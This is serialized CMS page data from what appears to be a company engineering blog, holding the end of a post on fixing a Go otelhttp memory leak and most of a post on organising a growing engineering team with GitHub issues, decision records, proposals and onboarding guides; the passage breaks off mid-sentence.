respectively.",[29452,29455,29458],{"start":19521,"end":10911,"type":489,"data":29453},{"link_type":491,"url":29454,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fblob\u002Fmaster\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go#L327",{"start":8736,"end":10309,"type":489,"data":29456},{"link_type":491,"url":29457,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fblob\u002Fmaster\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go#L326",{"start":4522,"end":753,"type":489,"data":29459},{"link_type":491,"url":29460,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fblob\u002Fmaster\u002Fvendor\u002Fgo.opentelemetry.io\u002Fotel\u002Fmetric\u002Finternal\u002Fglobal\u002Fmeter.go#L315","rich_text$1b511915-782a-4001-936a-88a3899f8a55",{"variation":437,"version":438,"items":29463,"primary":29464,"id":29473,"slice_type":468,"slice_label":5},[],{"body":29465},[29466,29469],{"type":988,"text":29467,"spans":29468,"direction":445},"Fixing the bug",[],{"type":25,"text":29470,"spans":29471,"direction":445},"From the analysis above, we can deduce that code that allocates the leaking resources (that we can control) lives in main.go:41:",[29472],{"start":8997,"end":3294,"type":765},"rich_text$4e1e857e-65b6-457d-8ea0-860b38b2500b",{"variation":437,"version":438,"items":29475,"primary":29476,"id":29481,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29477},[29478],{"type":27922,"text":29479,"spans":29480},"handlerWithMetrics := otelhttp.NewHandler(h, \"root\")",[],"code_block$c8126b3d-e111-46f9-a857-3b2636405fa0",{"variation":437,"version":527,"items":29483,"primary":29484,"id":29513,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29485,"body":29486,"cta_label":5,"cta_link":29500,"aside_type":533,"aside_image":29501,"aside_video":29508,"aside_video_poster":29509,"aside_video_reduced_motion":29510,"aside_video_url":5,"aside_embed":29511,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29512,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29487,29492],{"type":25,"text":29488,"spans":29489,"direction":445},"Reason why the service is leaking resources is that we create otelhttp handler for each request (it's inside a global middleware). Creating otelhttp handler creates counters and a histogram internally and appends them to the global meters (by default).",[29490,29491],{"start":1029,"end":847,"type":765},{"start":9287,"end":8736,"type":765},{"type":25,"text":29493,"spans":29494,"direction":445},"Fortunately, this is easy to fix - we should create otelhttp handler once and wrap gin handler with it. Code without the leak can be found on the fixed-leak branch. After the change, memory graph looks much more stable:",[29495,29496,29497],{"start":1251,"end":685,"type":765},{"start":28611,"end":5397,"type":765},{"start":10911,"end":11218,"type":489,"data":29498},{"link_type":491,"url":29499,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fblog-memory-leaks\u002Fcompare\u002Fmaster..fixed-leak",{"link_type":434},{"dimensions":29502,"alt":5,"copyright":5,"url":29505,"id":29506,"edit":29507},{"width":29503,"height":29504},2551,718,"\u002F_prismic-media\u002F38ec0dcbd41c1b41-YuKyXh8V08WTndtR_6efd8b9d-1e0d-40dd-830d-ddd76db.png","YuKyXh8V08WTndtR",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$897df7d2-67a0-4a1e-a04f-4a4cc48d5824",{"variation":437,"version":438,"items":29515,"primary":29516,"id":29535,"slice_type":468,"slice_label":5},[],{"body":29517},[29518,29520,29523,29526,29529,29532],{"type":988,"text":28602,"spans":29519,"direction":445},[],{"type":25,"text":29521,"spans":29522,"direction":445},"We've covered:",[],{"type":1151,"text":29524,"spans":29525,"direction":445},"pprof format",[],{"type":1151,"text":29527,"spans":29528,"direction":445},"how to instrument and expose profile data from your applications",[],{"type":1151,"text":29530,"spans":29531,"direction":445},"how to use pprof to interpret heap memory profiles",[],{"type":25,"text":29533,"spans":29534,"direction":445},"Hopefully from now on finding and fixing next memory leak in your own applications is going to be a breeze.",[],"rich_text$60684319-6168-4b79-b874-7bc464f0c583",{"id":29537,"uid":29538,"type":25949,"data":29539},"alz06hEAAC0AUWbn","starting-new-project",{"title":29540,"excerpt":29541,"card_image":29542,"published_date":29547,"reading_time":1633,"tag":25960,"dek":29548,"featured_image":29549,"about_form3":29550,"client_about_heading":5,"client_about_body":29551,"author_name":26951,"author_title":26952,"author_photo":29552,"author_bio":29555,"author_linkedin":29560,"slices":29562,"meta_title":29540,"meta_description":29541},"What I learned from starting a new project","In February 2021, Andy Kuszyk moved from an individual contributor role at Form3, to being lead engineer on a new project. For the first six months, he was lead engineer of a team of one (himself!), and spent a long time researching the new project, and iterating on technical designs. He also spent a lot of time thinking about how Form3 would eventually build a team around the project, and organise its various activities.",{"dimensions":29543,"alt":29540,"copyright":5,"url":29544,"id":29545,"edit":29546},{"width":412,"height":412},"\u002F_prismic-media\u002Fe46413601fe79478-9zKNvOrX8Y2JJejp_starting-new-project.png","9zKNvOrX8Y2JJejp",{"x":398,"y":398,"zoom":399,"background":400},"2022-12-08","In February 2021 I moved from an individual contributor role at Form3, to being lead engineer on a new project. For the first six months, I was lead engineer of a team of one (myself!), and spent a long time researching the new project, and iterating on technical designs. I also spent a lot of time thinking about how we would eventually build a team around the project, and organise its various activities.",{},[],[],{"dimensions":29553,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":29554},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[29556],{"type":25,"text":26961,"spans":29557},[29558],{"start":19275,"end":18958,"type":489,"data":29559},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":29561,"url":26968,"target":493},"b2dcdb0b-8923-4c5e-aa64-e7820c8b67f8",[29563,29586,29655,29676,29701,29744,29752,29774,29786,29808,29823,29845,29863,29943,29951,29973,29994,30002,30064],{"variation":437,"version":438,"items":29564,"primary":29565,"id":29585,"slice_type":468,"slice_label":5},[],{"body":29566},[29567,29570,29573,29576,29579,29582],{"type":25,"text":29568,"spans":29569},"More than a year and a half later, and that team now exists. In fact, it has grown into a new department at Form3. It consists of three independent engineering teams, consisting of more than twenty engineers. I am now in the role of Head of Engineering for this new department, and I find myself now reflecting on how things have gone.",[],{"type":25,"text":29571,"spans":29572},"Many of the ideas I had in the early days have borne fruit, and some have not. In this blog post, I would like to share the ideas and practices that have proven effective in planning, growing, and operating a large team of engineers across a complex project. I have organised my learnings around three key themes:",[],{"type":1151,"text":29574,"spans":29575},"Encouraging a self-organising culture.",[],{"type":1151,"text":29577,"spans":29578},"De-centralising decision making.",[],{"type":1151,"text":29580,"spans":29581},"Democratising the technical design process.",[],{"type":25,"text":29583,"spans":29584},"Nothing here is sensational or ground-breaking, but I do hope it will prove inspiring--or at least affirming--for people in a similar position, or considering similar topics.",[],"rich_text$a74408f5-7300-494a-ba2c-e514047e2122",{"variation":437,"version":438,"items":29587,"primary":29588,"id":29654,"slice_type":468,"slice_label":5},[],{"body":29589},[29590,29593,29596,29599,29602,29605,29608,29611,29614,29618,29621,29624,29627,29630,29633,29636,29639,29642,29645,29648,29651],{"type":988,"text":29591,"spans":29592,"direction":445},"Encouraging a self-organising culture",[],{"type":25,"text":29594,"spans":29595,"direction":445},"From the outset, I wanted to encourage a culture of self-organisation in our engineering teams. I had seen this work really effectively elsewhere at Form3, where engineers could self-serve new work, find answers to their own questions, and collaborate with their colleagues; all without any central organisation or direction.",[],{"type":25,"text":29597,"spans":29598,"direction":445},"It seemed to me that there were a few key pillars of this kind of self-organising culture:",[],{"type":1151,"text":29600,"spans":29601,"direction":445},"Documentation that is easy to discover and contribute to.",[],{"type":1151,"text":29603,"spans":29604,"direction":445},"Requirements\u002Ftasks that are self-describing with little prior knowledge.",[],{"type":1151,"text":29606,"spans":29607,"direction":445},"Task workflow management that runs itself.",[],{"type":1151,"text":29609,"spans":29610,"direction":445},"A decentralised, and asynchronous onboarding process.",[],{"type":25,"text":29612,"spans":29613,"direction":445},"This section has some practical examples of how we managed to achieve these things.",[],{"type":25,"text":29615,"spans":29616,"direction":445},"Storing project\u002Fdomain documentation as GitHub issues",[29617],{"start":398,"end":9312,"type":593},{"type":25,"text":29619,"spans":29620,"direction":445},"Based on some prior examples of this at Form3, I decided at the outset that I would try storing all of our user-generated, project and domain-specific documentation as labelled GitHub issues.",[],{"type":25,"text":29622,"spans":29623,"direction":445},"Notable alternatives to this approach are:",[],{"type":1151,"text":29625,"spans":29626,"direction":445},"A GitHub repo wiki.",[],{"type":1151,"text":29628,"spans":29629,"direction":445},"Plain markdown files stored in a git repo.",[],{"type":25,"text":29631,"spans":29632,"direction":445},"However both of these approaches suffer from three main problems:",[],{"type":1151,"text":29634,"spans":29635,"direction":445},"They are not inherently easy to browse and discover. To browse them you have to browse the files\u002Ftitles, and to search them you have to use GitHub search.",[],{"type":1151,"text":29637,"spans":29638,"direction":445},"They are not easy to organise and categorise along multiple themes or topics.",[],{"type":1151,"text":29640,"spans":29641,"direction":445},"They do not support reciprocal links--linking one page to another does not automatically add a link in the reverse direction.",[],{"type":25,"text":29643,"spans":29644,"direction":445},"GitHub issues, on the other hand, support all of these things:",[],{"type":1151,"text":29646,"spans":29647,"direction":445},"They are browsable using the issue search, and via labels.",[],{"type":1151,"text":29649,"spans":29650,"direction":445},"They are easy to organise into multiple, dynamic categories using labels.",[],{"type":1151,"text":29652,"spans":29653,"direction":445},"They natively support reciprocal linking--linking another issue adds a reverse link on that issue.",[],"rich_text$f9b09628-cb04-4cc9-9d43-e403e5a2cf14",{"variation":437,"version":527,"items":29656,"primary":29657,"id":29675,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29658,"body":29659,"cta_label":5,"cta_link":29663,"aside_type":533,"aside_image":29664,"aside_video":29670,"aside_video_poster":29671,"aside_video_reduced_motion":29672,"aside_video_url":5,"aside_embed":29673,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29674,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29660],{"type":25,"text":29661,"spans":29662,"direction":445},"Below is an example of an issue list from one of our knowledge bases:",[],{"link_type":434},{"dimensions":29665,"alt":5,"copyright":5,"url":29667,"id":29668,"edit":29669},{"width":6158,"height":29666},491,"\u002F_prismic-media\u002F2a698f95d6a603b0-yL-VBiYrwUO4pnq4_cc32b1e9-c1a6-4a0c-8bd0-17c39f9.png","yL-VBiYrwUO4pnq4",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$01a0e1ef-0575-416b-be81-c16c3df22130",{"variation":437,"version":527,"items":29677,"primary":29678,"id":29700,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29679,"body":29680,"cta_label":5,"cta_link":29687,"aside_type":533,"aside_image":29688,"aside_video":29695,"aside_video_poster":29696,"aside_video_reduced_motion":29697,"aside_video_url":5,"aside_embed":29698,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29699,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29681,29684],{"type":25,"text":29682,"spans":29683,"direction":445},"You can see from this screenshot that many of the issues have been categorised in more than one category, and have been contributed by multiple members of the team. This was one of the goals of storing project documentation in this format: not only is it easy to find and organise, but it's also easy to contribute to. It is my view that this format encourages members of the team to contribute their own knowledge to the team's corpus of documentation, making it a resource which is owned by everyone.",[],{"type":25,"text":29685,"spans":29686,"direction":445},"For those that think they might miss a more traditional wiki-like layout, we have also organised our knowledge base with a wiki-style index. The links in this index refer to labels, which means they link to a dynamic list of issues that will grow and shrink as issues are labelled in the knowledge base:",[],{"link_type":434},{"dimensions":29689,"alt":5,"copyright":5,"url":29692,"id":29693,"edit":29694},{"width":29690,"height":29691},630,952,"\u002F_prismic-media\u002F91c040aba2a9dfae-QSlZprpPFkP7U7Zb_a64c1688-09a2-4a4a-9417-175da66.png","QSlZprpPFkP7U7Zb",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$e98e96b9-171c-47b3-bc23-2bb04e14f6e0",{"variation":437,"version":438,"items":29702,"primary":29703,"id":29743,"slice_type":468,"slice_label":5},[],{"body":29704},[29705,29709,29712,29716,29719,29722,29725,29728,29731,29734,29737,29740],{"type":25,"text":29706,"spans":29707},"Storing external documentation as binary files in source control",[29708],{"start":398,"end":4083,"type":593},{"type":25,"text":29710,"spans":29711},"We used the GitHub issues approach described above mainly for team-generated documentation. Documents that came from a third party, or which were otherwise considered primary sources, we generally stored as binary files committed to a git repository. For example, these files would often be PDFs. These files are often linked for further reading from the issues in our knowledge base.",[],{"type":25,"text":29713,"spans":29714},"Documenting requirements with references and acceptance criteria",[29715],{"start":398,"end":4083,"type":593},{"type":25,"text":29717,"spans":29718},"I think a key characteristic of a self-organising team is that anyone in the team can pick up any new piece of work. This means that, as long as work is clearly labelled as being ready to go, no single person needs to orchestrate the scheduling or assignation of new work.",[],{"type":25,"text":29720,"spans":29721},"This means that each new work item needs to have the following attributes:",[],{"type":1151,"text":29723,"spans":29724},"It needs to be self contained. The description of the work item should contain everything an engineer needs to complete the task.",[],{"type":1151,"text":29726,"spans":29727},"It needs clear context and documentation. It should assume the reader has general context about the project, but not about the specific area the work needs to be completed in. It should contain references to further reading to help the reader understand the particular domain within which the task needs to be completed.",[],{"type":1151,"text":29729,"spans":29730},"It should have a clear set of requirements. These describe what needs to be done to complete the task.",[],{"type":1151,"text":29732,"spans":29733},"It should have a clear set of acceptance criteria. These are similar to requirements, but describe the conditions that must be met for the task to be completed.",[],{"type":25,"text":29735,"spans":29736},"A lot of the refinement necessary to prepare requirements in this fashion takes place in our early design process, which is carried out by a working group of engineers. More on this later.",[],{"type":25,"text":29738,"spans":29739},"We made use of our knowledge base extensively for providing engineers with background reading for new tasks. In fact, it was a good reminder that something wasn't well documented when we realised that a particular term or topic required a good external definition, when writing a short introduction for new tasks.",[],{"type":25,"text":29741,"spans":29742},"We used this GitHub issue template for new requirements, calling out explicitly further reading that would be relevant to the completion of the task:",[],"rich_text$07ac0a24-bcf2-412c-abf6-671bb21fb1d5",{"variation":437,"version":438,"items":29745,"primary":29746,"id":29751,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29747},[29748],{"type":27922,"text":29749,"spans":29750},"## Context\n\u003C!-- Add some context about this requirement here -->\n\n\u003C!-- Related issues: delete or include as appropriate.\n## Related issues\n### Knowledge base\n### Decisions\n### Proposals\n### Requirements\n-->\n\n## Requirements\n\u003C!-- A list of things that need to be achieved for this requirement:\n- [ ] This thing.\n- [ ] That thing.\n -->\n\n## Acceptance Criteria\nThis issue will be complete when:\n\u003C!-- A list of things that will indicate when this requirement has been completed:\n- [ ] This is possible.\n- [ ] That is possible.\n-->",[],"code_block$83839fc4-c4b2-4cbb-8ec9-b41b7ded108e",{"variation":437,"version":527,"items":29753,"primary":29754,"id":29773,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29755,"body":29756,"cta_label":5,"cta_link":29760,"aside_type":533,"aside_image":29761,"aside_video":29768,"aside_video_poster":29769,"aside_video_reduced_motion":29770,"aside_video_url":5,"aside_embed":29771,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29772,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29757],{"type":25,"text":29758,"spans":29759,"direction":445},"Here's an example of one of these requirements:",[],{"link_type":434},{"dimensions":29762,"alt":5,"copyright":5,"url":29765,"id":29766,"edit":29767},{"width":29763,"height":29764},581,816,"\u002F_prismic-media\u002F16f77e19b339bc00-8XgpuBIXxf9Jx9FA_1010192d-02d7-4405-80b1-ef75e52.png","8XgpuBIXxf9Jx9FA",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$f786ab70-2de2-4399-9ff1-f771fb076588",{"variation":437,"version":438,"items":29775,"primary":29776,"id":29785,"slice_type":468,"slice_label":5},[],{"body":29777},[29778,29782],{"type":25,"text":29779,"spans":29780,"direction":445},"Using a \"next-up\" column for scheduling upcoming work",[29781],{"start":398,"end":9312,"type":593},{"type":25,"text":29783,"spans":29784,"direction":445},"In order to make it easy for anyone in the team to pick up a new task with no centralised organisation, we made use of a \"next-up\" column on our project's kanban board. This list of tasks is normally curated by the lead engineer of a team, and contains tasks that match the team's current priorities, and have been documented to a sufficient standard to allow them to be independently accessible by anyone on the team.",[],"rich_text$005ecb17-5365-419a-b968-819977863c93",{"variation":437,"version":527,"items":29787,"primary":29788,"id":29807,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29789,"body":29790,"cta_label":5,"cta_link":29794,"aside_type":533,"aside_image":29795,"aside_video":29802,"aside_video_poster":29803,"aside_video_reduced_motion":29804,"aside_video_url":5,"aside_embed":29805,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29806,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29791],{"type":25,"text":29792,"spans":29793,"direction":445},"Here's an example from one of our typical project boards:",[],{"link_type":434},{"dimensions":29796,"alt":5,"copyright":5,"url":29799,"id":29800,"edit":29801},{"width":29797,"height":29798},1452,506,"\u002F_prismic-media\u002F977dd6a5c61cf3a6-zz0X59L1Av8THeSu_90bd919f-79e5-49f2-8de6-ca387f4.png","zz0X59L1Av8THeSu",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$e91de39b-3b28-4a59-8ced-59041f96edb8",{"variation":437,"version":438,"items":29809,"primary":29810,"id":29822,"slice_type":468,"slice_label":5},[],{"body":29811},[29812,29816,29819],{"type":25,"text":29813,"spans":29814,"direction":445},"Onboarding new team members with a documented guide",[29815],{"start":398,"end":1250,"type":593},{"type":25,"text":29817,"spans":29818,"direction":445},"Growing the team with new people to the company, or existing team members from elsewhere, requires a lot of product orientation, domain knowledge transfer, and explanation of our architecture. We wanted this process to be as scalable, and self-directed as possible, so as we grew our team, we also documented an onboarding guide.",[],{"type":25,"text":29820,"spans":29821,"direction":445},"When a new person joins the team, we always ask them to follow this guide to orient themselves and then keep in touch with any questions they might have. It typically takes between 2 days and a week to complete this guide, but at the end of the process we find people are generally ready to start pairing on new tasks.",[],"rich_text$d0dd702c-b29b-4a54-8fbd-0f00cd9faefc",{"variation":437,"version":527,"items":29824,"primary":29825,"id":29844,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29826,"body":29827,"cta_label":5,"cta_link":29831,"aside_type":533,"aside_image":29832,"aside_video":29839,"aside_video_poster":29840,"aside_video_reduced_motion":29841,"aside_video_url":5,"aside_embed":29842,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29843,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29828],{"type":25,"text":29829,"spans":29830,"direction":445},"Here is an example of our onboarding guide:",[],{"link_type":434},{"dimensions":29833,"alt":5,"copyright":5,"url":29836,"id":29837,"edit":29838},{"width":29834,"height":29835},917,1014,"\u002F_prismic-media\u002F574b1a20e31d4b2e-33OdH_RvH14teTVv_4deed7e3-7504-4a04-be74-fa6cd4e.png","33OdH_RvH14teTVv",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$50692628-30ed-4181-9ad1-1babaf5f7fad",{"variation":437,"version":438,"items":29846,"primary":29847,"id":29862,"slice_type":468,"slice_label":5},[],{"body":29848},[29849,29852,29856,29859],{"type":25,"text":29850,"spans":29851},"New members of the team are also paired up with someone as an \"onboarding buddy\", so their self-directed onboarding time would also be accompanied by regular check-ins with their buddy to ask questions and discuss what they've learned.",[],{"type":25,"text":29853,"spans":29854},"Growing a team only as fast as pair programming allows",[29855],{"start":398,"end":3963,"type":593},{"type":25,"text":29857,"spans":29858},"One final note on onboarding is that, whilst our self-directed onboarding process was a success, it was then always followed of a month or two of sustained pair programming. We practice pair programming as a matter of course anyway, but this is especially important for new members of the team. The onboarding guide covered the basics, and then everything else a person needed to know was normally covered during the synchronous time they had with other members of the team whilst pairing.",[],{"type":25,"text":29860,"spans":29861},"This approach has worked very nicely, as long as the team only grows as fast as pair programming allows. Assuming you start with two experienced engineers, you can start off by taking on two new team members. Each new member will need to pair with an experienced person for a couple of months, before they would be able to pair with a new joiner themselves. In practice, this means taking on two to four new people every two months or so. This allows the team to grow rapidly, whilst still sustaining its collective domain knowledge and working practices.",[],"rich_text$c6fe0b2c-4417-41be-b872-dc0203b76b86",{"variation":437,"version":438,"items":29864,"primary":29865,"id":29942,"slice_type":468,"slice_label":5},[],{"body":29866},[29867,29870,29873,29876,29879,29882,29885,29888,29891,29894,29897,29900,29903,29906,29909,29912,29915,29918,29920,29923,29927,29930,29933,29936,29939],{"type":988,"text":29868,"spans":29869,"direction":445},"De-centralising decision making",[],{"type":25,"text":29871,"spans":29872,"direction":445},"A key part of how a team operates is the way it identifies problems, discusses solutions to them, agrees on a solution, and then moves on. When growing our team, I wanted to avoid a situation where:",[],{"type":1151,"text":29874,"spans":29875,"direction":445},"A single key individual (or small group of individuals) were required for every decision to be made.",[],{"type":1151,"text":29877,"spans":29878,"direction":445},"Decisions could only be made through synchronous contact time (e.g. in meetings).",[],{"type":1151,"text":29880,"spans":29881,"direction":445},"Decisions became opaque as soon as they were made (\"Why did we do that again?\").",[],{"type":25,"text":29883,"spans":29884,"direction":445},"I also wanted to encourage everyone in the team to take part in the problem solving and decision making process, whether they were an engineer, a product person, or someone from InfoSec. I thought we should make decisions transparently and democratically, and be able to refer to them later to provide context for our current state of the world.",[],{"type":25,"text":29886,"spans":29887,"direction":445},"There are many ways of achieving this, some of which include:",[],{"type":1151,"text":29889,"spans":29890,"direction":445},"Architecture Decision Records (ADRs).",[],{"type":1151,"text":29892,"spans":29893,"direction":445},"Request For Comments (RFCs).",[],{"type":1151,"text":29895,"spans":29896,"direction":445},"Proposals.",[],{"type":1151,"text":29898,"spans":29899,"direction":445},"Decision logs.",[],{"type":25,"text":29901,"spans":29902,"direction":445},"Many of these terms refer to overlapping ideas, and in some cases describe the same thing. There are lots of ways to record these things, varying from markdown files in a git repository to a shared spreadsheet. For me, the most important thing was to have a consistent, documented, and accessible method of making decisions, that everyone in the team could contribute to regardless of the role.",[],{"type":25,"text":29904,"spans":29905,"direction":445},"As a result, we decided to use GitHub issues to keep track of our decisions for many of the same reasons we used them for our internal documentation:",[],{"type":1151,"text":29907,"spans":29908,"direction":445},"Anyone in the team can write a new issue, whereas some team members might have more trouble editing markdown files directly (editing files requires knowledge of markdown and using git, which is less accessible to non-engineers).",[],{"type":1151,"text":29910,"spans":29911,"direction":445},"Issues benefit from reciprocal links, which means decisions could be linked to requirements and knowledge base articles, and vice versa.",[],{"type":25,"text":29913,"spans":29914,"direction":445},"We decided to use two different flavours of GitHub issue to track our decisions:",[],{"type":1151,"text":29916,"spans":29917,"direction":445},"Decision records.",[],{"type":1151,"text":29895,"spans":29919,"direction":445},[],{"type":25,"text":29921,"spans":29922,"direction":445},"I'll describe each flavour in more depth below.",[],{"type":25,"text":29924,"spans":29925,"direction":445},"Decision records",[29926],{"start":398,"end":2477,"type":593},{"type":25,"text":29928,"spans":29929,"direction":445},"We use decision records to describe a decision that has been made that requires little or no feedback. For example:",[],{"type":1151,"text":29931,"spans":29932,"direction":445},"A pair of engineers might make an architectural decision that they wish to record for posterity, or to communicate to their peers for context. They don't require any input or assistance, but might want to document the different approaches they explored, and why they chose their final option.",[],{"type":1151,"text":29934,"spans":29935,"direction":445},"A business analyst might decide how a feature in the product should work, or why we chose to use a particular service from a third party. They can record this decision to use as context for future requirements, or in knowledge base articles.",[],{"type":25,"text":29937,"spans":29938,"direction":445},"In both cases, members of the team can contribute their own decisions. Collectively, this corpus of decision records makes up a decision log, which can be taken as a partial history of all the decisions taken on the project.",[],{"type":25,"text":29940,"spans":29941,"direction":445},"We use this issue template for new decision records:",[],"rich_text$ad7eecf9-b8ca-4e43-b352-890115c91020",{"variation":437,"version":438,"items":29944,"primary":29945,"id":29950,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29946},[29947],{"type":27922,"text":29948,"spans":29949},"\u003C!--\nGuidance on creating new decision records:\n\n- A decision record should be used to document a decision that has already been taken.\n- If feedback is required on the decision, or if there are multiple options that still need to be considered, use a proposal.\n- If you need input into the decision making process, use a proposal.\n-->\n\n## Introduction\n\u003C!-- Provide some background to the reader about what the decision needs to be made about, and why it's important. -->\n\n## Problem\n\u003C!-- Describe what problem needs to be solved with this decision. -->\n\n## Constraints\n\u003C!-- Outline any constraints on possible solutions to the problem. -->\n\n## Options\n\u003C!-- List the viable options for solving the problem, along with any relevant pros\u002Fcons or comparisons. -->\n\n## Decision\n\u003C!-- Describe the solution that has been decided upon. -->",[],"code_block$97c37b17-6ab8-4806-adf5-04a0e331ac05",{"variation":437,"version":527,"items":29952,"primary":29953,"id":29972,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":29954,"body":29955,"cta_label":5,"cta_link":29959,"aside_type":533,"aside_image":29960,"aside_video":29967,"aside_video_poster":29968,"aside_video_reduced_motion":29969,"aside_video_url":5,"aside_embed":29970,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":29971,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[29956],{"type":25,"text":29957,"spans":29958,"direction":445},"Here is an example of a decision record from our project:",[],{"link_type":434},{"dimensions":29961,"alt":5,"copyright":5,"url":29964,"id":29965,"edit":29966},{"width":29962,"height":29963},577,958,"\u002F_prismic-media\u002F8d49270d18c68a11-HEyW8CRSLcNc9NQ4_d08ecc4d-0896-4d8a-8d45-f872431.png","HEyW8CRSLcNc9NQ4",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$12bacf90-b97d-4899-8bd4-8e1fbaddc264",{"variation":437,"version":438,"items":29974,"primary":29975,"id":29993,"slice_type":468,"slice_label":5},[],{"body":29976},[29977,29981,29984,29987,29990],{"type":25,"text":29978,"spans":29979},"Proposals",[29980],{"start":398,"end":1355,"type":593},{"type":25,"text":29982,"spans":29983},"We use proposals when we need to make a decision about something, but it's less clear that a decision can be made unilaterally, or when feedback is required to gain a consensus. Proposals typically document a problem we have with the product, security, technology or our team process. They normally outline one or more possible solutions, and propose a way forward. We circulate them amongst the team, and people can take part in the decision making process asynchronously via comments. Sometimes we organise a small working group to discuss the problem synchronously, but most of the time we are able to reach a consensus asynchronously.",[],{"type":25,"text":29985,"spans":29986},"In my view, this enables decisions to be made by the team at large, without a single decision-maker being required, and without a great deal of synchronous contact time. Everyone has the opportunity to be involved in every decision that requires discussion, and the results of that discussion are transparent and recorded for posterity.",[],{"type":25,"text":29988,"spans":29989},"Combined with the decision records, proposals form a complete history of the major decisions we have made, and the problems we have solved.",[],{"type":25,"text":29991,"spans":29992},"The GitHub issue template for proposals is similar to decision records:",[],"rich_text$ad21f970-8e31-4a00-bf7d-52d4411cc13f",{"variation":437,"version":438,"items":29995,"primary":29996,"id":30001,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":29997},[29998],{"type":27922,"text":29999,"spans":30000},"\u003C!--\nGuidance on creating new proposals:\n\n- A proposal should be used if you wish to propose a change\u002Fsolution.\n- A proposal should be used to request feedback\u002Fcomments from others.\n- A proposal should be used when a decision hasn't been made, and feedback is required to do so.\n- A proposal should not be used when you just need to record a decision that has been made.\n- If you need to record a decision, use a decision record.\n-->\n\n## Introduction\n\u003C!-- Provide some background to the reader about what this proposal is about, and why it's important. -->\n\n## Problem\n\u003C!-- Describe what problem this proposal is addressing. -->\n\n## Constraints\n\u003C!-- Outline any constraints on possible solutions to the problem. -->\n\n## Options\n\u003C!-- List the viable options for solving the problem, along with any relevant pros\u002Fcons or comparisons. -->\n\n## Proposal\n\u003C!-- Describe the solution\u002Fproposal that you would like feedback on. -->\n\n## Approvers\n\u003C!-- Optional: if you would like a specific group of people to approve this proposal, list them here\n\n- [ ] @person-a\n- [ ] @person-b\n- [ ] @person-c\n-->",[],"code_block$b866a71f-c89a-4aa5-a9cd-9b12fff22bf1",{"variation":437,"version":438,"items":30003,"primary":30004,"id":30063,"slice_type":468,"slice_label":5},[],{"body":30005},[30006,30009,30012,30015,30018,30021,30024,30027,30030,30033,30036,30039,30042,30045,30048,30051,30054,30057,30060],{"type":988,"text":30007,"spans":30008,"direction":445},"Democratising the technical design process",[],{"type":25,"text":30010,"spans":30011,"direction":445},"As the size of our team grew, and the complexity of the product we were building increased, we started to notice that our original design process wasn't working well. Our original process consisted of:",[],{"type":1151,"text":30013,"spans":30014,"direction":445},"The product team writing requirements.",[],{"type":1151,"text":30016,"spans":30017,"direction":445},"Me reviewing those requirements, and providing any feedback.",[],{"type":1151,"text":30019,"spans":30020,"direction":445},"Me writing a \"technical proposal\" (more on this below).",[],{"type":1151,"text":30022,"spans":30023,"direction":445},"The requirements being shared with the engineering team for implementation.",[],{"type":25,"text":30025,"spans":30026,"direction":445},"I had a lot of background knowledge and context, combined with the experience of designing the system so far. When I reviewed requirements, I would write a technical proposal which was a proposal designed to summarise the functionality from a technical point of view. This proposal served three purposes:",[],{"type":1151,"text":30028,"spans":30029,"direction":445},"To summarise my understanding to play back to the product team for approval.",[],{"type":1151,"text":30031,"spans":30032,"direction":445},"To communicate the overall design to engineers 